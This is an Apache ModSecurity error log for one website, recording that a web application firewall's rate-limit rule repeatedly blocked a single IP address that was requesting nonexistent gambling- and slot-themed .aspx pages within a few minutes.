[Sun Mar 01 10:03:48.611159 2026] [:error] [pid 21263:tid 21276] [client 51.83.101.126:52190] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aaOehNAxjzLvN1upBhkJnAAAAMk"]
[Sun Mar 01 10:03:54.320550 2026] [:error] [pid 33229:tid 33241] [client 51.83.101.126:52196] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aaOeinzT4c9ddlGE6FxFxwAAAYo"]
[Sun Mar 01 10:04:00.931558 2026] [:error] [pid 21263:tid 21291] [client 51.83.101.126:51564] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aaOekNAxjzLvN1upBhkJyQAAANg"]
[Sun Mar 01 10:04:08.151840 2026] [:error] [pid 24576:tid 24586] [client 51.83.101.126:51566] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aaOemIvfb5CnctJh0700YwAAAQc"]
[Sun Mar 01 10:04:11.780487 2026] [:error] [pid 33767:tid 33781] [client 51.83.101.126:36376] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aaOem0GyeKe3MWsxvBj-0gAAAgs"]
[Sun Mar 01 10:04:17.687654 2026] [:error] [pid 33539:tid 33552] [client 51.83.101.126:36386] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aaOeodCsLwBYg4s018urjgAAAcc"]
[Sun Mar 01 10:04:20.305478 2026] [:error] [pid 21263:tid 21291] [client 51.83.101.126:42192] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aaOepNAxjzLvN1upBhkJ4QAAANg"]
[Sun Mar 01 10:04:22.697404 2026] [:error] [pid 33539:tid 33560] [client 51.83.101.126:42208] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aaOeptCsLwBYg4s018urnAAAAc8"]
[Sun Mar 01 10:04:25.009632 2026] [:error] [pid 33539:tid 33570] [client 51.83.101.126:42214] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aaOeqdCsLwBYg4s018urngAAAdg"]
[Sun Mar 01 10:04:27.447981 2026] [:error] [pid 33539:tid 33560] [client 51.83.101.126:34228] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aaOeq9CsLwBYg4s018urqgAAAc8"]
[Sun Mar 01 10:04:29.879050 2026] [:error] [pid 33767:tid 33774] [client 51.83.101.126:34242] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aaOerUGyeKe3MWsxvBj-9gAAAgQ"]
[Sun Mar 01 10:04:32.412859 2026] [:error] [pid 21263:tid 21291] [client 51.83.101.126:34258] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aaOesNAxjzLvN1upBhkJ-AAAANg"]
[Sun Mar 01 10:04:34.862062 2026] [:error] [pid 33767:tid 33775] [client 51.83.101.126:34272] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aaOeskGyeKe3MWsxvBj-_QAAAgU"]
[Sun Mar 01 10:04:37.319000 2026] [:error] [pid 33229:tid 33248] [client 51.83.101.126:59836] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aaOetXzT4c9ddlGE6FxGGwAAAZE"]
[Sun Mar 01 10:04:39.723768 2026] [:error] [pid 33539:tid 33552] [client 51.83.101.126:59848] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aaOet9CsLwBYg4s018uryAAAAcc"]
[Sun Mar 01 10:04:42.129753 2026] [:error] [pid 33539:tid 33560] [client 51.83.101.126:59862] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aaOeutCsLwBYg4s018ur0QAAAc8"]
[Sun Mar 01 10:04:44.717201 2026] [:error] [pid 33767:tid 33775] [client 51.83.101.126:59868] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aaOevEGyeKe3MWsxvBj_DgAAAgU"]
[Sun Mar 01 10:05:12.854958 2026] [:error] [pid 21263:tid 21278] [client 51.83.101.126:39110] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aaOe2NAxjzLvN1upBhkKGgAAAMs"]
[Sun Mar 01 10:05:15.532227 2026] [:error] [pid 33539:tid 33550] [client 51.83.101.126:40234] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aaOe29CsLwBYg4s018usWwAAAcU"]
[Sun Mar 01 10:05:19.212148 2026] [:error] [pid 21263:tid 21278] [client 51.83.101.126:39104] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaOe39AxjzLvN1upBhkKJAAAAMs"]
[Sun Mar 01 10:05:22.941007 2026] [:error] [pid 33229:tid 33233] [client 51.83.101.126:39120] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aaOe4nzT4c9ddlGE6FxGlQAAAYI"]
[Sun Mar 01 10:05:25.568721 2026] [:error] [pid 33767:tid 33774] [client 51.83.101.126:39126] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaOe5UGyeKe3MWsxvBj_aQAAAgQ"]
[Sun Mar 01 10:05:28.029326 2026] [:error] [pid 33539:tid 33561] [client 51.83.101.126:55616] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aaOe6NCsLwBYg4s018uscgAAAdA"]
[Sun Mar 01 10:05:30.462027 2026] [:error] [pid 33229:tid 33248] [client 51.83.101.126:55624] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aaOe6nzT4c9ddlGE6FxGnQAAAZE"]
[Sun Mar 01 10:05:33.005706 2026] [:error] [pid 33229:tid 33238] [client 51.83.101.126:55628] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aaOe7XzT4c9ddlGE6FxGoQAAAYc"]
[Sun Mar 01 10:05:35.854409 2026] [:error] [pid 8688:tid 8699] [client 51.83.101.126:55640] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aaOe7zHJ4Nn-RvulD0rPMAAAAUk"]
[Sun Mar 01 10:05:39.217429 2026] [:error] [pid 33539:tid 33550] [client 51.83.101.126:37320] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aaOe89CsLwBYg4s018usjAAAAcU"]
[Sun Mar 01 10:05:41.847251 2026] [:error] [pid 33229:tid 33238] [client 51.83.101.126:37334] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaOe9XzT4c9ddlGE6FxGtAAAAYc"]
[Sun Mar 01 10:05:44.730065 2026] [:error] [pid 33229:tid 33248] [client 51.83.101.126:37338] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaOe-HzT4c9ddlGE6FxGuQAAAZE"]
[Sun Mar 01 10:05:47.640637 2026] [:error] [pid 33976:tid 34001] [client 51.83.101.126:33750] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaOe-wUyU3c4Xm_xpMSvYAAAAlc"]
[Sun Mar 01 10:05:50.275784 2026] [:error] [pid 33229:tid 33238] [client 51.83.101.126:33758] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aaOe_nzT4c9ddlGE6FxGwwAAAYc"]
[Sun Mar 01 10:05:52.890293 2026] [:error] [pid 33976:tid 34001] [client 51.83.101.126:33760] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aaOfAAUyU3c4Xm_xpMSvZAAAAlc"]
[Sun Mar 01 10:05:55.375879 2026] [:error] [pid 33767:tid 33792] [client 51.83.101.126:33770] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aaOfA0GyeKe3MWsxvBj_dgAAAhY"]
[Sun Mar 01 10:05:57.818486 2026] [:error] [pid 33539:tid 33561] [client 51.83.101.126:48166] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aaOfBdCsLwBYg4s018usuAAAAdA"]
[Sun Mar 01 10:06:00.374449 2026] [:error] [pid 33229:tid 33248] [client 51.83.101.126:48178] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aaOfCHzT4c9ddlGE6FxG0QAAAZE"]
[Sun Mar 01 10:06:03.312945 2026] [:error] [pid 33229:tid 33248] [client 51.83.101.126:48190] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaOfC3zT4c9ddlGE6FxG2AAAAZE"]
[Sun Mar 01 10:06:06.198911 2026] [:error] [pid 33229:tid 33233] [client 51.83.101.126:48194] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaOfDnzT4c9ddlGE6FxG3AAAAYI"]
[Sun Mar 01 10:06:08.829967 2026] [:error] [pid 33539:tid 33566] [client 51.83.101.126:43452] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaOfENCsLwBYg4s018us2AAAAdQ"]
[Sun Mar 01 10:06:46.077862 2026] [:error] [pid 33767:tid 33771] [client 51.83.101.126:50240] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aaOfNkGyeKe3MWsxvBj_5gAAAgE"]
[Sun Mar 01 10:06:48.642467 2026] [:error] [pid 33229:tid 33233] [client 51.83.101.126:53304] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aaOfOHzT4c9ddlGE6FxHQAAAAYI"]
[Sun Mar 01 10:06:51.098938 2026] [:error] [pid 33229:tid 33248] [client 51.83.101.126:53318] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aaOfO3zT4c9ddlGE6FxHRwAAAZE"]
[Sun Mar 01 10:06:53.768688 2026] [:error] [pid 33539:tid 33566] [client 51.83.101.126:53320] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aaOfPdCsLwBYg4s018utkwAAAdQ"]
[Sun Mar 01 10:06:57.228847 2026] [:error] [pid 21263:tid 21270] [client 51.83.101.126:53332] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaOfQdAxjzLvN1upBhkKtgAAAMM"]
[Sun Mar 01 10:06:59.937042 2026] [:error] [pid 33539:tid 33566] [client 51.83.101.126:39412] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aaOfQ9CsLwBYg4s018utrQAAAdQ"]
[Sun Mar 01 10:07:02.489378 2026] [:error] [pid 33229:tid 33233] [client 51.83.101.126:39422] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aaOfRnzT4c9ddlGE6FxHXgAAAYI"]
[Sun Mar 01 10:07:05.121383 2026] [:error] [pid 21263:tid 21270] [client 51.83.101.126:39424] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aaOfSdAxjzLvN1upBhkK1QAAAMM"]
[Sun Mar 01 10:07:08.157405 2026] [:error] [pid 33539:tid 33566] [client 51.83.101.126:59460] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aaOfTNCsLwBYg4s018utvwAAAdQ"]
[Sun Mar 01 10:07:10.608578 2026] [:error] [pid 21263:tid 21270] [client 51.83.101.126:59464] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaOfTtAxjzLvN1upBhkK7gAAAMM"]
[Sun Mar 01 10:07:13.141687 2026] [:error] [pid 21263:tid 21287] [client 51.83.101.126:59476] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aaOfUdAxjzLvN1upBhkK-AAAANQ"]
[Sun Mar 01 10:07:15.663951 2026] [:error] [pid 8688:tid 8703] [client 51.83.101.126:59478] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aaOfUzHJ4Nn-RvulD0rPkQAAAU0"]
[Sun Mar 01 10:07:18.166749 2026] [:error] [pid 21263:tid 21289] [client 51.83.101.126:44700] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aaOfVtAxjzLvN1upBhkLFwAAANY"]
[Sun Mar 01 10:07:20.689102 2026] [:error] [pid 33229:tid 33248] [client 51.83.101.126:44716] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aaOfWHzT4c9ddlGE6FxHkwAAAZE"]
[Sun Mar 01 10:07:23.448598 2026] [:error] [pid 21263:tid 21287] [client 51.83.101.126:44724] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aaOfW9AxjzLvN1upBhkLOAAAANQ"]
[Sun Mar 01 10:07:26.366408 2026] [:error] [pid 8688:tid 8703] [client 51.83.101.126:44726] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aaOfXjHJ4Nn-RvulD0rPoAAAAU0"]
